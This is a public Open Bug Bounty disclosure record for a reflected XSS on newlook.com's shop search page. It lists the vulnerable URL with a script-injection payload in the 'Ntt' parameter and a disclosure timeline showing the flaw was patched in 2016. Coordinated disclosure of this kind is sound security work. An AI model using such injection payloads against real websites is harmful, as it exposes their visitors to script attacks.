Lucene search

K
openbugbountyDim0kOBB:88652
HistorySep 24, 2015 - 7:32 p.m.

newlook.com XSS vulnerability

2015-09-2419:32:00
dim0k
www.openbugbounty.org
9
Vulnerable URL:
http://www.newlook.com/de/shop/no-results?Ntt=x"-alert(/XSSPOSED/)-"x&filtered;=1
Details:
Description Value
Patched: Yes, at 21.06.2016
Latest check for patch: 21.06.2016 08:53 GMT
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 4039
Google Pagerank 0
VIP website status: Yes
Check newlook.com SSL connection: (Grade: B+)
Coordinated Disclosure Timeline:
Description Value
Vulnerability reported 24 September, 2015 19:32 GMT
Vulnerability existence verified and confirmed 24 September, 2015 19:35 GMT
Vulnerability patched by the website owner 21 June, 2016 23:10 GMT